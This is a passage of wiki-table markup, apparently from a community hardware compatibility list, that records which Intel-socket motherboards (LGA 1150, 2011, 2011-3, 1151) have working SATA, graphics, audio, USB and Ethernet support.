| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Gigabyte GA Z77 D3H with i3 3225 dual 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{No|HDAudio VIA VT2021 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Atheros GbE LAN chip}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1150 H3 (2013/2016)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[https://theretroweb.com/motherboards/s/asus-b85m-e-rev-1-02 Asus B85M-E]
| &lt;!--Chipset--&gt;B85 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe|HDAudio with Realtek ® ALC887-VD2 codec}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8111F}}
| &lt;!--Opinion--&gt;2014 64bit - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H87N-WIFI mITX 
| &lt;!--Chipset--&gt;H87 and Intel 4th generation (Haswell) Core i5 (4xxx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|Intel Atheros}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;ASUS H81I-PLUS Mini ITX 
| &lt;!--Chipset--&gt;H81 with intel 4590t 4690t
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata3 6gbps 
| &lt;!--Gfx--&gt;pci-e 3.0 x4 slot and with HD4400 HDMI vga mode works but other grub options no display just black screen - analogue DVI and vga untested  
| &lt;!--Audio--&gt;{{yes|HDAudio 6.34 with ALC8878 codec playback only}} 
| &lt;!--USB--&gt;{{yes|USB3 and USB2}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 rtl8111g}}
| &lt;!--Opinion--&gt;2014 64bit - 2 ddr3 dimm slots max 16gb - f2 or DEL bios and f8 boot select - does not like unconnected gfx card in pci-e slot - deadwood 2026-09 DO3 build - 
|-
| &lt;!--Name--&gt;Asus H81M-C H81M-P-SI
| &lt;!--Chipset--&gt;H81 with 4th generation (Haswell) Core i7 (4xxx) CPU
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|2x3g 2x6g}}
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;hdaudio alc887 vd
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;realtek 8111gr
| &lt;!--Opinion--&gt;2013 skt 1150 - 2 ddr3 max 16g - mini atx - 
|-
| &lt;!--Name--&gt;Asus H81T 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata
| &lt;!--Gfx--&gt;HD4000 igpu only 
| &lt;!--Audio--&gt;HDAudio ALC887-VD 
| &lt;!--USB--&gt;Intel USB3 
| &lt;!--Ethernet--&gt;rtl8169 realtek 8111G 
| &lt;!--Opinion--&gt;2013 64bit intel 4th gen mini itx - external dc brick with 19v rare barrel pin 7.4MM x 5.0MM - 2 ddr3 laptop sodimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H81M-S2V 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio ALC887 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek® GbE LAN chip 
| &lt;!--Opinion--&gt;2014 64bit up to i7 4790K - 2 DDR3 slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H81M-D3V (rev. 1.0)
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;{{yes|2 sata2 2 sata3 }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{unk| HDAudio Realtek® ALC887 codec}}
| &lt;!--USB--&gt;{{unk|intel and VIA® VL805}}
| &lt;!--Ethernet--&gt;{{unk|rtl8169 Realtek }}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H81M-E34 (MS-7817) 
| &lt;!--Chipset--&gt;H81 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;PCIe 2.0 x16 
| &lt;!--Audio--&gt;HDAudio with ALC887 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8111G}}
| &lt;!--Opinion--&gt;2013 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Z87-K 
| &lt;!--Chipset--&gt;Z87 with 4th generation (Haswell) Core i7 4c8t i5 4c4t CPU
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek lan 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-Z87X-UD3H 
| &lt;!--Chipset--&gt;Z87 Express 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with Realtek® ALC898 codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA H97M D3H r1.0 r1.1 with i3 4360 or 4370 dual 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek lan 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Z97 A with i7 4790K 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e slot for GTX 750, 960, 970 and 980 
| &lt;!--Audio--&gt;Intel HD with ALC
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan ethernet}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA Z97X UD3H rev1.0 1.1 1.2 
| &lt;!--Chipset--&gt;Z97 with i5 4690K 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDaudio with ALC1150
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI GAMING 5 Z97 
| &lt;!--Chipset--&gt;Z97 with 4th generation (Haswell) Core i7 4c8t CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;ASUS Q87M-E
| &lt;!--Chipset--&gt;Q87 lynx point 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;ALC887VD codec 
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|intel}}
| &lt;!--Opinion--&gt;2014 64bit - 4 DDR3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;H99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA2011V2 s2011-2  (2012/15)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x79 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2013 Xeon e5-???? W TDP, e5-2667V2 W TDP, e5-????V2 W TDP, Sandybridge and Ivybridge V2
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;X79 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA2011V3 s2011-3  (2015/18)=====

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{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2016 Xeon e5-1620v3 130W TDP, e5-1650V3 (i7-5930K) 140W TDP, e5-2640V3 90W TDP, Haswell-EP 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;X99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;most cheap Ryzens are better nowadays 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Huananzhi X99-CD4 
| &lt;!--Chipset--&gt;Intel C612 and X99 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 3 connectors and 1 m.2 nvme slot 
| &lt;!--Gfx--&gt;pcie slot 
| &lt;!--Audio--&gt;HDaudio with ALC897 codec 
| &lt;!--USB--&gt;{{No|USB3}}
| &lt;!--Ethernet--&gt;{{maybe|rtl8169}}
| &lt;!--Opinion--&gt;2024 quality might not be great outside of a simple setup - 2 ddr4 dimms - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Keyiyou X99 XD4 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Machinist MR9A Pro 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Machinist MR9A Pro 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Mogul 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Qiyida X99 H9S
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 
|-
| &lt;!--Name--&gt;Soyo 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1151 Socket H4 (2015/2018)=====

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{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;Skylake CPUs have TPM 2.0 embedded 
|-
| &lt;!--Name--&gt;Asus H110 Plus H110M-A/DP 
| &lt;!--Chipset--&gt;  with 6th Gen Core and 7th with bios update 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sunrise Point-H SATA [AHCI mode] [8086 a102] 
| &lt;!--Gfx--&gt;{{No|Skylake Integrated HD Graphics use PIC-E slot}}
| &lt;!--Audio--&gt;Intel HD Audio with Realtek ALC887 Audio CODEC
| &lt;!--USB--&gt;Sunrise Point-H USB 3.0 xHCI [8086: a12f] no usb2.0 fallback 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8111GR or 8111H RTL8111 8168 8411}}
| &lt;!--Opinion--&gt;ATX with 3 pci-e and 2 DDR4 slots - uatx version smaller - turn off TLSF as it was causing AHI driver to corrupt. Turned off ACPI for errors but works fine once booted - 
|-
| &lt;!--Name--&gt;ASUS H110M-R M-ATX 
| &lt;!--Chipset--&gt;H110 6th Gen Skylake Core™ i7 Core™ 6950X i7-6970HQ i7-6700K 4c8t hyperthreading, i5/Core™ i5-6600K 4c4t i3/Pentium® / Celeron® 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 x SATA 6Gb/s 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC887 codec 
| &lt;!--USB--&gt;Intel USB3 
| &lt;!--Ethernet--&gt;Realtek® RTL8111H
| &lt;!--Opinion--&gt;2016 64bit - 2 DDR4 DIMMS Max 32GB 2133MHz - 1 full pci-e and 2 pci-e 1 - 
|-
| &lt;!--Name--&gt;Asus H110T 
| &lt;!--Chipset--&gt;H110 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;intel igpu only 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Dual Intel/Realtek GbE languard 
| &lt;!--Opinion--&gt;2016 - mini itx 12v / 19v laptop type rare barrel pin 7.4MM x 5.0MM - 2 sodimm ddr4 slots - no pci-e slot - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H110M-S2H MATX Rev1.0 
| &lt;!--Chipset--&gt;H110 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e 3.0
| &lt;!--Audio--&gt;Realtek® ALC887 codec 
| &lt;!--USB--&gt;2 (USB 3.1 Gen 1) ports with 4 us2
| &lt;!--Ethernet--&gt;Realtek® GbE LAN
| &lt;!--Opinion--&gt;   2 ddr4 slots 
|-
| &lt;!--Name--&gt;Gigabyte ga-h110n 
| &lt;!--Chipset--&gt;H110
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes| sata}}
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d for Intel or PCI-e slot}}
| &lt;!--Audio--&gt;{{Maybe|HDaudio for ALC887 codec}}
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{yes|RTL8169}}
| &lt;!--Opinion--&gt;2016 mini-itx 6th gen 
|-
| &lt;!--Name--&gt;Msi H110M-PRO-VH 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 x SATA 6Gb/s 
| &lt;!--Gfx--&gt;pci-e 3.0
| &lt;!--Audio--&gt; Realtek® ALC887 Codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111h 
